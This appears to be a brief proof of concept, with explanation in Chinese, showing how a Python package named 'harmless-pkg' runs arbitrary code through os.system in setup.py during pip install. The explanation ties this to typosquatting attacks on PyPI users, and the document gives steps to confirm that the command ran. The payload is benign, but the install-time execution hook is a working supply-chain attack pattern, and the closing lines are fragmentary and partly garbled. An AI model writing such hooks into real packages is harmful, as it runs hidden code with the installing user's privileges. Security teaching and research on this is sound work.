
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
PyPI 包可以在其 setup.py 中包含任意代码,这些代码会在 pip install 期间执行。攻击者可以发布一个名称与流行包相似的包(typosquatting,拼写仿冒),安装时有效载荷将以用户权限运行,从而导致远程代码执行。
setup.py,使包拥有完全访问权限。setup.py 创建恶意包目录。pip install ./harmless-pkg
cat /tmp/pwned_by_package
id 命令已被执行。